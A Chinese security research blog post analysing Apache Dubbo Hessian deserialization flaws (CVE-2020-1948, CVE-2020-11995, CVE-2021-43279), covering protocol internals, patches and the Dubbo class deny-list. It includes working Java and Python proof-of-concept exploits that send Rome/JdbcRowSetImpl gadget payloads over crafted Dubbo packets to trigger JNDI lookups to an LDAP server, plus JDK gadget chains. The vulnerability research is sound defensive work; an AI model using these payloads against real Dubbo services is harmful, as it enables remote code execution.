Javaweb安全——Dubbo 反序列化(一)

news/2024/5/19 21:56:28 标签: dubbo, java, 安全, web安全, ctf

Dubbo 反序列化(一)

Dubbo 基础

Apache Dubbo 是一款 RPC 服务开发框架。提供三个核心功能:面向接口的远程方法调用智能容错和负载均衡,以及服务自动注册和发现

image-20230206210144195

节点角色

节点角色说明
Provider暴露服务的服务提供者
Consumer调用远程服务的服务消费者
Registry服务注册与发现的注册中心
Monitor统计服务的调用次数和调用时间的监控中心
Container服务运行容器

调用关系

  • 服务容器负责启动,加载,运行服务提供者。
  • 服务提供者在启动时,向注册中心注册自己提供的服务。
  • 服务消费者在启动时,向注册中心订阅自己所需的服务。
  • 注册中心返回服务提供者地址列表给消费者,如果有变更,注册中心将基于长连接推送变更数据给消费者。
  • 服务消费者,从提供者地址列表中,基于软负载均衡算法,选一台提供者进行调用,如果调用失败,再选另一台调用。
  • 服务消费者和提供者,在内存中累计调用次数和调用时间,定时每分钟发送一次统计数据到监控中心。

环境搭建

直接下载这个dubbo-samples-spring-boot然后idea打开,包含三个子模块:

  • demo: https://github.com/apache/dubbo-samples/tree/master/1-basic/dubbo-samples-spring-boot

  • 手册: https://cn.dubbo.apache.org/zh/docs3-v2/java-sdk/quick-start/spring-boot/

正常的话还需要一个注册中心,使用zookeeper:

  • 修改zoo_sample.cfg文件名为zoo.cfg
  • 运行zkServer.cmd即可启动Zookeeper
  • zookeeper 配置文件【zoo_sample.cfg】详解 这里直接用默认配置即可。

不过这里这个dubbo-samples-spring-boot的Demo中只做单元测试,用里面自带的EmbeddedZooKeeper类就行。

后面切换版本的时候子模块的pom.xml会报错,自行添加版本。

image-20230206213443245

Dubbo-RPC 基本概念

整体设计如下图:

/dev-guide/images/<a class=dubbo-framework.jpg" />

  • Invocation 是请求会话领域模型,每次请求有相应的 Invocation 实例,负责包装 dubbo 方法信息为请求参数;
  • Invoker 是实体域,代表一个可执行实体,有本地、远程、集群三类;
  • Exporter 服务提供者 Invoker 管理实体;
  • Protocol 是核心层,也就是只要有 Protocol + Invoker + Exporter 就可以完成非透明的 RPC 调用。
  • Proxy 层封装了所有接口的透明化代理,而在其它层都以 Invoker 为中心,只有到了暴露给用户使用时,才用 Proxy 将 Invoker 转成接口,或将接口实现转成 Invoker。

服务提供者启动时,先创建相应选择的Protocol(协议对象),然后通过代理工厂创建Invoker对象,接着使用Protocol对Invoker进行服务注册至注册中心。Invoker 是由 Protocol 实现类构建而来,Dubbo 默认的 Protocol 实现类为DubboProtocol。

image-20230209042615615

请求解码

image-20230209043625227

默认情况下 Dubbo 使用 Netty 作为底层的通信框架。Netty 检测到有数据入站后,首先会通过Codec解码器对数据进行解码,解码链路如下:

java">NettyCodecAdapter#getDecoder()
    ->NettyCodecAdapter$InternalDecoder#decode
         ->DubboCountCodec#decode
             ->DubboCodec#decode
                 ->ExchangeCodec#decode
             ->DubboCodec#decodeBody
...
MultiMessageHandler#received
    ->HeartbeatHadnler#received
        ->AllChannelHandler#received 
...
ChannelEventRunnable#run
    ->DecodeHandler#received
    ->DecodeHandler#decode
        ->DecodeableRpcInvocation#decode

看一下Codec2接口实现类的继承关系,DubboCountCodec 是对整个请求和响应的编解码。

Drawing 5.png

ExchangeCodec 负责处理 Dubbo 协议的请求头,而 DubboCodec 则是通过继承的方式,在其基础之上,添加了解析 Dubbo 消息体的功能。

org.apache.dubbo.remoting.transport.netty4.NettyCodecAdapter类中通过内部类的方式实现了解码和编码器,主要decode流程在org.apache.dubbo.remoting.exchange.codec.ExchangeCodec#decode(org.apache.dubbo.remoting.Channel, org.apache.dubbo.remoting.buffer.ChannelBuffer, int, byte[])函数中。

先读取头数据,接着调用decodeBody()解码消息体。

image-20230207185505612

ExchangeCodec 中实现了 decodeBody 方法,但因其子类 DubboCodec 覆写了该方法,所以实际调用的是org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#decodeBody方法。

java">protected Object decodeBody(Channel channel, InputStream is, byte[] header) throws IOException {
    // 获取消息头中的第三个字节,并通过逻辑与运算得到序列化器编号
    byte flag = header[2], proto = (byte) (flag & SERIALIZATION_MASK);
    //选择 Serialization 对象,默认为 hessian2
    Serialization s = CodecSupport.getSerialization(channel.getUrl(), proto);
    // 获取调用编号
    long id = Bytes.bytes2long(header, 4);
    // 通过逻辑与运算得到调用类型,0 - Response,1 - Request
    if ((flag & FLAG_REQUEST) == 0) {
        // 对响应结果进行解码,得到 Response 对象
        .....................
    } else {
        Request req = new Request(id);
        req.setVersion(Version.getProtocolVersion());
        // 通过逻辑与运算得到通信方式,并设置到 Request 对象中
        req.setTwoWay((flag & FLAG_TWOWAY) != 0);
        // 通过位运算检测数据包是否为事件类型
        if ((flag & FLAG_EVENT) != 0) {
            // 设置心跳事件到 Request 对象中
            req.setEvent(Request.HEARTBEAT_EVENT);
        }
        try {
            Object data;
            if (req.isHeartbeat()) {
                // 对心跳包进行解码,后面攻击漏洞时会用到这里
                data = decodeHeartbeatData(channel, deserialize(s, channel.getUrl(), is));
            } else if (req.isEvent()) {
                // 对事件数据进行解码
                data = decodeEventData(channel, deserialize(s, channel.getUrl(), is));
            } else {
                // 解析报文数据
                DecodeableRpcInvocation inv;
                // 根据 url 参数判断是否在 IO 线程上对消息体进行解码
                if (channel.getUrl().getParameter(
                    Constants.DECODE_IN_IO_THREAD_KEY,
                    Constants.DEFAULT_DECODE_IN_IO_THREAD)) {
                    inv = new DecodeableRpcInvocation(channel, req, is, proto);
                    // 在当前线程,也就是 IO 线程上进行后续的解码工作。此工作完成后,可将
                    // 调用方法名、attachment、以及调用参数解析出来
                    // 2.7.8版本进行方法名限制的补丁位置
                    inv.decode();
                } else {
                    // 仅创建 DecodeableRpcInvocation 对象,但不在当前线程上执行解码逻辑
                    inv = new DecodeableRpcInvocation(channel, req,
                                                      new UnsafeByteArrayInputStream(readMessageData(is)), proto);
                }
                data = inv;
            }
            // 设置 data 到 Request 对象中
            req.setData(data);
		//..............
        return req;
    }
}

in = CodecSupport.deserialize(channel.getUrl(), is, proto);位置获取InputSteam数据转为ObjectInput,

image-20230207190206608

根据id获取相应的反序列化实现,url.getParameter获取获取反序列化实现名称。最后判断编号为3、4、7或者编号取出的反序列化实现名称和服务提供者端配置的不一致,都会抛出异常。

image-20230207191737750

inv.decode();所调用的 DecodeableRpcInvocation#decode 方法中通过反序列化将诸如 path、version、调用方法名、参数列表等信息依次解析出来,并设置到相应的字段中,最终得到一个具有完整调用信息的 DecodeableRpcInvocation 对象。这个方法就是后面漏洞分析中readObject的入口处

image-20230210000623514

调用服务

解码器将数据包解析成 Request 对象后,NettyHandler 的 messageReceived 方法紧接着会收到这个对象,并将这个对象继续向下传递。

java">NettyHandler#messageReceived(ChannelHandlerContext, MessageEvent)> AbstractPeer#received(Channel, Object)> MultiMessageHandler#received(Channel, Object)> HeartbeatHandler#received(Channel, Object)> AllChannelHandler#received(Channel, Object)> ExecutorService#execute(Runnable)    // 由线程池执行后续的调用逻辑

Dispatcher线程派发的部分这里就不多关注了,默认由 AllChannelHandler 处理,请求对象会被封装 ChannelEventRunnable 中。ChannelEventRunnable 仅是一个中转站,它的 run 方法中并不包含具体的调用逻辑,仅用于将参数传给其他 ChannelHandler 对象进行处理。

image-20230209033922845

DecodeHandler 是对请求体和响应结果的解码,比如在调用方法时会进入decode(((Request) message).getData())对 Request 的 data 字段进行解码。

这里会进入到DecodeableRpcInvocation#decode进行反序列化

java">DecodeHandler#received(Channel, Object)
  ->DecodeHandler#decode(Object)
    ->DecodeableRpcInvocation#decode()
      ->DecodeableRpcInvocation#decode(Channel, InputStream)

image-20230210011647219

java">ChannelEventRunnable#run()> DecodeHandler#received(Channel, Object)> HeaderExchangeHandler#received(Channel, Object)> HeaderExchangeHandler#handleRequest(ExchangeChannel, Request)> DubboProtocol.requestHandler#reply(ExchangeChannel, Object)

经过上面的调用栈会入DubboProtocol 类中的匿名类对象ExchangeHandlerAdapter。其reply方法会获取 Invoker 实例,通过 Invoker 调用具体的服务。

image-20230209035108083

DubboProtocol#getInvoker方法中,通过与指定服务对应的暴露对象exporter 获取Invoker 实例。

image-20230209035457396

回到reply方法中,调用invoker.invoke(inv)方法进行方法调用,该方法定义在 AbstractProxyInvoker,其调用 doInvoke 执行后续的调用,doInvoke 是一个抽象方法,由具体的 Invoker 实例实现。

java">public Result invoke(Invocation invocation) throws RpcException {
    try {
        return new RpcResult(doInvoke(proxy, invocation.getMethodName(), invocation.getParameterTypes(), invocation.getArguments()));
        //......................
        
protected abstract Object doInvoke(T proxy, String methodName, Class<?>[] parameterTypes, Object[] arguments) throws Throwable;

服务引用,引用的是一个代理类。Invoker实例通过InvokerInvocationHandler包装,然后通过JavassistProxyFactory#getProxy生成代理类。

image-20230209040029807

java">—> Filter#invoke(Invoker, Invocation)> AbstractProxyInvoker#invoke(Invocation)> Wrapper0#invokeMethod(Object, String, Class[], Object[])> DemoServiceImpl#sayHello(String)

Dubbo RPC协议

Dubbo协议格式如下:

/dev-guide/images/<a class=dubbo_protocol_header.jpg" />

  • Header(16 bytes)

    • Magic - Magic High & Magic Low (16 bits)

      标识协议版本号,Dubbo 协议:0xdabb

    • Req/Res (1 bit)

      标识是请求或响应。请求: 1; 响应: 0。

    • 2 Way (1 bit)

      仅在 Req/Res 为1(请求)时才有用,标记是否期望从服务器返回值。如果需要来自服务器的返回值,则设置为1。

    • Event (1 bit)

      标识是否是事件消息,例如,心跳事件。如果这是一个事件,则设置为1。

    • Serialization ID (5 bit)

      标识序列化类型:比如 fastjson 的值为6。

    • Status (8 bits)

      仅在 Req/Res 为0(响应)时有用,用于标识响应的状态。

    • Request ID (64 bits)

      标识唯一请求。类型为long。

    • Data Length (32 bits)

      序列化后的内容长度(可变部分),按字节计数。int类型。

  • Body(n bytes)

    • Variable Part

      被特定的序列化类型(由序列化 ID 标识)序列化后的RPC数据

Dubbo 协议中前 128 位是协议头,之后的内容是具体的负载数据。协议头就是通过 ExchangeCodec 实现编解码的。

ExchangeCodec 的核心字段有如下几个。

  • HEADER_LENGTH(int 类型,值为 16):协议头的字节数,16 字节,即 128 位。
  • MAGIC(short 类型,值为 0xdabb):协议头的前 16 位,分为 MAGIC_HIGH 和 MAGIC_LOW 两个字节。
  • FLAG_REQUEST(byte 类型,值为 0x80):用于设置 Req/Res 标志位。
  • FLAG_TWOWAY(byte 类型,值为 0x40):用于设置 2Way 标志位。
  • FLAG_EVENT(byte 类型,值为 0x20):用于设置 Event 标志位。
  • SERIALIZATION_MASK(int 类型,值为 0x1f):用于获取序列化类型的标志位的掩码。

Dubbo-Hessian

Dubbo默认是使用了Hessian2作为序列化和反序列化的工具。Hessian 是一种跨语言的高效二进制序列化方式。但Dubbo是阿里修改过的 Hessian lite。其默认反序列化器为JavaDeserializer,而官方的Hessian的默认序列化器是UnsafeSerializer。

反序列化时候UnsafeDeserializer先将二进制数据序列化成Map,然后再将Map转化成对象,而JavaDeserializer会新建一个对象然后再把属性设置进去。

而构造器及构造器的参数在当前 JavaDeserializer 实例化时会确定,会使用反射调用参数最少的那个构造函数生成对象。

com.alibaba.com.caucho.hessian.io.JavaDeserializer#JavaDeserializer

image-20230207014806319

然后由com.alibaba.com.caucho.hessian.io.JavaDeserializer#getParamArg获取参数,只返回基本类型的参数值。

image-20230207014507467

比如rome反序列化链中的ObjectBean类。在dubbo中的Hessian lite中因为其参数最少的那个构造函数的两个参数都不是基本类型,导致getParamArg中获取为null所以无法正常实例化,导致反序列化失败。

image-20230207013504157

image-20230207005414988

所以这里使用marshalsec中的Rome调用链直接由EqualsBean#hashCode => EqualsBean#beanHashCode

同理Rome二次序列化链中的SignedObject也没法被反序列化。image-20230207015624833

而且必须是Public的类才能被反序列化,不然会报错java.lang.IllegalAccessException: Class com.caucho.hessian.io.MapDeserializer can not access a member of class javax.swing.MultiUIDefaults with modifiers "public"

漏洞分析

这里主要先分析 hessian 和 http 相关的反序列化漏洞

CVE-2020-1948(<= 2.7.6)

  • Apache Dubbo 2.7.0 ~ 2.7.6
  • Apache Dubbo 2.6.0 ~ 2.6.7
  • Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)。

测试版本 Dubbo 2.7.3

参考[CVE-2020-1948] Apache Dubbo Provider default deserialization cause RCE有两种触发方法:

  • 通过反序列化参数时的HashMap.put方法触发;
  • 反序列化完成后,利用service不存在抛出异常输出时,隐式调用toString方法触发;

readObject

上面请求解码的部分提过DecodeableRpcInvocation#decode 方法中对反序列化获取参数列表,那如果传入的方法参数是个恶意对象,自然就可触发了。

修改dubbo-samples-spring-boot-consumer中的代码,加一个服务端不存在的方法,传入恶意对象进行调用。

java">@SpringBootApplication
@Service
@EnableDubbo
public class ConsumerApplication {
    @Reference
    private DemoService demoService;
    public static void main(String[] args) throws Exception {

        ConfigurableApplicationContext context = SpringApplication.run(ConsumerApplication.class, args);
        ConsumerApplication application = context.getBean(ConsumerApplication.class);

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        String url = "ldap://127.0.0.1:1389/irap0o";
        jdbcRowSet.setDataSourceName(url);
        Map expMap = makeMap(JdbcRowSetImpl.class,jdbcRowSet);
        application.sendPayload(expMap);
    }
    public Object sendPayload(Object name) {
        return demoService.sendPayload(name);
    }
    public static HashMap makeMap(Class expectedClass, Object o) throws Exception {
        ToStringBean toStringBean = new ToStringBean(expectedClass, o);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

        HashMap<Object, Object> expMap = new HashMap<>();
        setFieldValue(expMap, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, equalsBean, "any", null));
        setFieldValue(expMap, "table", tbl);
        return expMap;
    }
}

image-20230208002925480

上面的利用方式是要Provider端该service存在的情况,如果Dubbo找不到注册的service,consumer代理不能生成就会报错。

原因可参考:https://blog.csdn.net/lkforce/article/details/90479966

https://cloud.tencent.com/developer/article/1845311

image-20230208004012357

后序列化利用

漏洞原作者的POC,还有一个使用的是任意不存在的service和method,导致Dubbo找不到注册的service而抛出异常,在抛出异常的时候触发漏洞。

原作者使用 python_EXP 修改了服务名,证明攻击不受该参数影响。

from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1', 20880)

JdbcRowSetImpl=new_object(
    'com.sun.rowset.JdbcRowSetImpl',
    dataSource="ldap://127.0.0.1:1389/irap0o",
    strMatchColumns=["foo"]
    )
JdbcRowSetImplClass=new_object(
    'java.lang.Class',
    name="com.sun.rowset.JdbcRowSetImpl",
    )
toStringBean=new_object(
    'com.rometools.rome.feed.impl.ToStringBean',
    beanClass=JdbcRowSetImplClass,
    obj=JdbcRowSetImpl
    )

resp = client.send_request_and_return_response(
    service_name='cn.rui0',
    method_name='rce',
    args=[toStringBean])

print(resp)

思路就是漏洞作者Java“后反序列化漏洞”利用思路这篇文章中提过的。

具体到这,在反序列化执行完成后,利用RemotingException抛出异常输出时隐式调用了Rome的toString方法导致RCE,调用栈如下:

java">getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
valueOf:2994, String (java.lang)
toString:4571, Arrays (java.util)
toString:241, RpcInvocation (org.apache.dubbo.rpc)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
getInvoker:266, DubboProtocol (org.apache.dubbo.rpc.protocol.dubbo)

org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol#getInvoker到getInvoker这因为service不存在就会报错,

image-20230208012852328

报错信息中的", message:" + inv这个inv是DecodeableRpcInvocation的实例对象,在这里在拼接字符串时候默认调用其toString方法,具体实现在其父类org.apache.dubbo.rpc.RpcInvocation

image-20230208021139658

其中的argements就是ToStringBean的实例,跟入Arrays.toString(arguments)在这里调用ToStringBean#toString()触发。

image-20230208013225500

补丁

2.7.7版本中DecodeableRpcInvocation#decode(Channel, InputStream)中增加了一个判断,限制了RPC的方法名,不是指定方法的话会抛出异常。

https://github.com/apache/dubbo/commit/04fc3ce4cc87b9bd09546c12df3f8762b9525da9

image-20230210013056945

CVE-2020-11995(<= 2.7.7)

  • Dubbo 2.7.0 ~ 2.7.7
  • Dubbo 2.6.0 ~ 2.6.8
  • Dubbo 所有 2.5.x 版本

测试版本 Dubbo 2.7.7

针对后序列化利用的绕过,上面提到的2.7.7版本补丁RpcUtils.isGenericCallRpcUtils.isEcho中限制了方法名只能为$invoke$invokeAsync$echo。修改poc中调用的方法名即可。

image-20230210013245347

debug级别与invocation值

但是修改python版本的poc进行后反序列化攻击,则依旧无效。而在2.7.5之后的版本中throw RemotiyicngException部分进行了修改,可见inv多了一个getInvocationWithoutData方法包裹。

https://github.com/apache/dubbo/commit/5618b12340b9c3ecf90c7e01c274a4f094cc146c#diff-37a8a427d2ec646f392ebd9225019346

image-20230210013612607

DubboProtocol#getInvocationWithoutData方法中默认将inv对象的arguments参数设置为null,但如果系统配置log4j debug级别或者不配置任何其他级别,会直接返回invocation对象。所以在特定条件下还是可以利用成功的。

image-20230210013657996

补丁

https://github.com/apache/dubbo/commit/5ad186fa874d9f0dfb87b989e54c1325d39abd40

DecodeableRpcInvocation增加入参类型校验,只有参数类型合法才会继续进行反序列化操作。

image-20230211194105949

新的反序列化入口

心跳包解码

2.7.3 版本请求消息体的解码实现DubboCodec#decodeBody还有两个反序列化的地方,

image-20230211214544586

2.7.5版本开始移除了decodeHeartbeatData部分

image-20230212215958045

2.7.9 以及之后的版本HeartBeat直接返回null,上面的payload会进入decodeEventData进行解码

image-20230212005528637

这两个地方判断逻辑都是依据mEvent属性

image-20230212220511937

image-20230212220337518

FLAG_EVENT 值为32

image-20230212220550306

flag值获取自header[2] 且影响proto反序列化类型

image-20230212221544105

decodeHeartbeatData(<= 2.7.4.1)

这里利用ExchangeCodec#decodeHeartbeatData(org.apache.dubbo.remoting.Channel, org.apache.dubbo.common.serialize.ObjectInput)去反序列化数据

image-20230207190415882

Hessian2ObjectInput#readObject(java.lang.Class<T>)

image-20230207190426223

Hessian2ObjectInput对mH2这个对象进行了封装,后面就是正常的hessian序列化了。

image-20230207190819177

decodeBody方法中根据flag标志位,选择数据包类型进行解码。

添加头数据,修改Event位为 1 然后Socket连接发送反序列化数据。

java">public static void main(String[] args) throws Exception {
    //JDBC
    JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
    String url = "ldap://127.0.0.1:1389/n44cbl";
    jdbcRowSet.setDataSourceName(url);
    Map expMap = makeMap(JdbcRowSetImpl.class,jdbcRowSet);

    //序列化
    ByteArrayOutputStream brr = new ByteArrayOutputStream();
    Hessian2Output output = new Hessian2Output(brr);
    output.writeObject(expMap);
    output.flush();
	//发送数据
    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    // header.
    byte[] header = new byte[16];
    // set magic number.
    Bytes.short2bytes((short) 0xdabb, header);
    // set request and serialization flag.
    header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
    // set request id.
    Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
    Bytes.int2bytes(brr.size(), header, 12);
    byteArrayOutputStream.write(header);
    byteArrayOutputStream.write(brr.toByteArray());

    byte[] bytes = byteArrayOutputStream.toByteArray();

    //todo 此处填写被攻击的dubbo服务提供者地址和端口
    Socket socket = new Socket("127.0.0.1", 20880);
    OutputStream outputStream = socket.getOutputStream();
    outputStream.write(bytes);
    outputStream.flush();
    outputStream.close();
}
public static HashMap makeMap(Class expectedClass, Object o) throws Exception {
    ToStringBean toStringBean = new ToStringBean(expectedClass, o);
    EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

    HashMap<Object, Object> expMap = new HashMap<>();
    setFieldValue(expMap, "size", 2);
    Class<?> nodeC;
    try {
        nodeC = Class.forName("java.util.HashMap$Node");
    }
    catch ( ClassNotFoundException e ) {
        nodeC = Class.forName("java.util.HashMap$Entry");
    }
    Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
    nodeCons.setAccessible(true);

    Object tbl = Array.newInstance(nodeC, 2);
    Array.set(tbl, 0, nodeCons.newInstance(0, equalsBean, "any", null));
    setFieldValue(expMap, "table", tbl);
    return expMap;
}

这个payload的发送是在知道dubbo provider的ip和端口情况下,或者知道zoomkeeper的ip&port+一个目标的interface接口名称(提供正确的interface接口,可以借助zoomkeeper拿到目标的ip和port)

主要调用栈:

java">put:611, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2278, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:85, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decodeHeartbeatData:413, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec)
decodeBody:125, DubboCodec (org.apache.dubbo.rpc.protocol.dubbo)
decode:122, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec)
decode:82, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec)
decode:48, DubboCountCodec (org.apache.dubbo.rpc.protocol.dubbo)
decode:90, NettyCodecAdapter$InternalDecoder (org.apache.dubbo.remoting.transport.netty4)

decodeEventData(<= 2.7.8)

image-20230212214354170

image-20230212214402756

readUTF(<= 2.7.13)

在请求解码的部分中提过DecodeableRpcInvocation#decode 方法中通过反序列化将诸如 path、version、调用方法名、参数列表等信息进行读取,具体调用的就是readUTF方法。

image-20230211233816006

跟进Hessian2ObjectInput#readUTF方法

image-20230211233801798

Hessian2Input#readString()方法通过获取tag位,进行相应的处理。当这里不是一个String类型的时候,将会抛出异常。

java">public String readString()throws IOException {
    int tag = read();
    switch (tag) {
        case 'N':
            return null;
            //....................
        default:
            throw expect("string", tag);

Hessian2Input#expect方法,进行默认的Hessian2反序列化

image-20230212212146335

修改上面的payload中header部分即可

java">byte[] header = new byte[16];
// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
//header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
header[2] = (byte) ((byte) 0x80 | 2);

主体调用栈如下:

java">put:611, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2733, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2308, Hessian2Input (com.alibaba.com.caucho.hessian.io)
expect:3561, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readString:1883, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readUTF:90, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:111, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:83, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)

补丁

Apache Dubbo 2.7.9 版本限制了数据长度,Event包反序列化利用受限。

image-20230212005727098

Apache Dubbo 2.7.14版本升级到了 hessian_lite_version 3.2.11

image-20230212013819490

https://github.com/apache/dubbo-hessian-lite/commit/15e85b01d51dbbd1981d1f311cd7eff4add1c67e

com.alibaba.com.caucho.hessian.io.ClassFactory中增加了super class 检查,通过包命和类名过滤将要创建的对象,而Hessian2反序列化创建对象时,都需要使用ClassFactory这个工厂类。readUTF那的默认hessian反序列化利用受限。

image-20230212012145107

# dubbo-2.7.14-sources.jar!\DENY_CLASS 
禁止包命如下
bsh.
ch.qos.logback.core.db.
clojure.
com.alibaba.citrus.springext.support.parser.
com.alibaba.citrus.springext.util.SpringExtUtil.
com.alibaba.druid.pool.
com.alibaba.hotcode.internal.org.apache.commons.collections.functors.
com.alipay.custrelation.service.model.redress.
com.alipay.oceanbase.obproxy.druid.pool.
com.caucho.config.types.
com.caucho.hessian.test.
com.caucho.naming.
com.ibm.jtc.jax.xml.bind.v2.runtime.unmarshaller.
com.ibm.xltxe.rnm1.xtq.bcel.util.
com.mchange.v2.c3p0.
com.mysql.jdbc.util.
com.rometools.rome.feed.
com.sun.corba.se.impl.
com.sun.corba.se.spi.orbutil.
com.sun.jndi.rmi.
com.sun.jndi.toolkit.
com.sun.org.apache.bcel.internal.
com.sun.org.apache.xalan.internal.
com.sun.rowset.
com.sun.xml.internal.bind.v2.
com.taobao.vipserver.commons.collections.functors.
groovy.lang.
java.beans.
java.rmi.server.
java.security.
javassist.bytecode.annotation.
javassist.util.proxy.
javax.imageio.
javax.imageio.spi.
javax.management.
javax.media.jai.remote.
javax.naming.
javax.script.
javax.sound.sampled.
javax.xml.transform.
net.bytebuddy.dynamic.loading.
oracle.jdbc.connector.
oracle.jdbc.pool.
org.apache.aries.transaction.jms.
org.apache.bcel.util.
org.apache.carbondata.core.scan.expression.
org.apache.commons.beanutils.
org.apache.commons.codec.binary.
org.apache.commons.collections.functors.
org.apache.commons.collections4.functors.
org.apache.commons.configuration.
org.apache.commons.configuration2.
org.apache.commons.dbcp.datasources.
org.apache.commons.dbcp2.datasources.
org.apache.commons.fileupload.disk.
org.apache.ibatis.executor.loader.
org.apache.ibatis.javassist.bytecode.
org.apache.ibatis.javassist.tools.
org.apache.ibatis.javassist.util.
org.apache.ignite.cache.
org.apache.log.output.db.
org.apache.log4j.receivers.db.
org.apache.myfaces.view.facelets.el.
org.apache.openjpa.ee.
org.apache.openjpa.ee.
org.apache.shiro.
org.apache.tomcat.dbcp.
org.apache.velocity.runtime.
org.apache.velocity.
org.apache.wicket.util.
org.apache.xalan.xsltc.trax.
org.apache.xbean.naming.context.
org.apache.xpath.
org.apache.zookeeper.
org.aspectj.apache.bcel.util.
org.codehaus.groovy.runtime.
org.datanucleus.store.rdbms.datasource.dbcp.datasources.
org.eclipse.jetty.util.log.
org.geotools.filter.
org.h2.value.
org.hibernate.tuple.component.
org.hibernate.type.
org.jboss.ejb3.
org.jboss.proxy.ejb.
org.jboss.resteasy.plugins.server.resourcefactory.
org.jboss.weld.interceptor.builder.
org.mockito.internal.creation.cglib.
org.mortbay.log.
org.quartz.
org.springframework.aop.aspectj.
org.springframework.beans.factory.
org.springframework.expression.spel.
org.springframework.jndi.
org.springframework.orm.
org.springframework.transaction.
org.yaml.snakeyaml.tokens.
pstore.shaded.org.apache.commons.collections.
sun.rmi.server.
sun.rmi.transport.
weblogic.ejb20.internal.
weblogic.jms.common.

正则匹配
java\lang\ProcessBuilder
java\lang\Runtime
java\util\ServiceLoader
javassist\tools\web\Viewer
org\springframework\beans\BeanWrapperImpl$BeanPropertyHandler

CVE-2021-43279(<= 2.7.14)

  • Apache Dubbo 2.6.x <= 2.6.12
  • Apache Dubbo 2.7.x <= 2.7.14
  • Apache Dubbo 3.0.x <= 3.0.5

测试版本 Dubbo 2.7.13

后反序列化利用,hessian-lite在反序列化抛出异常时会进行对象拼接,进而隐式的触发toString

image-20230212212222087

主要的调用链也是readUTF() -> readString() -> except(),只不过上面用的是readObject那进行默认的反序列化然后hash.put();

主体调用栈如下:

java">toString:129, ToStringBean (com.rometools.rome.feed.impl)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:557, AbstractMap (java.util)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:3566, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readString:1883, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readUTF:90, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:111, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:83, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)

Rome 链因为类加载黑名单限制,只能打到 2.7.13 版本。如果有合适的toString类仍可以在 2.7.14 版本进行利用。

原生jdk利用链

测试版本 Dubbo 2.7.14

该漏洞还引出了hessian的jdk原生链。由于和xstream有点类似,可以从其历史链来作参考 :

  • https://x-stream.github.io/CVE-2021-21346.html
  • 如何高效的挖掘Java反序列化利用链?
java">Rdn$RdnEntry#compareTo()->
    XString#equal()->
        MultiUIDefaults#toString()->
            UIDefaults#get()->
                UIDefaults#getFromHashTable()->
                    UIDefaults$LazyValue#createValue()->
                        SwingLazyValue#createValue()->
                            InitialContext#doLookup()

javax.swing.MultiUIDefaults 不是public类不能被实例化,使用java.awt.datatransfer.MimeTypeParameterList替代

UIDefaults 是继承Hashtable的 ,所以需要toString() -> Hashtable.get()

java">public class MimeTypeParameterList {
    private Hashtable parameters = new Hashtable();
    //..............
    public String toString() {
        StringBuffer buffer = new StringBuffer();
        buffer.ensureCapacity(this.parameters.size() * 16);
        Enumeration keys = this.parameters.keys();

        while(keys.hasMoreElements()) {
            String key = (String)keys.nextElement();
            buffer.append("; ");
            buffer.append(key);
            buffer.append('=');
            buffer.append(quote((String)this.parameters.get(key)));
        }

        return buffer.toString();

然后就是要找到一个public static方法来导致RCE,参考官方 write up 的几种方法:

some interesting staic funtions

MethodUtils.invoke
0ctf-2022-soln-hessian-onlyjdk
System.setProperty + InitalContext.doLookup @福来阁
DumpBytecode.dumpBytecode + System.load @ty1310 @nese
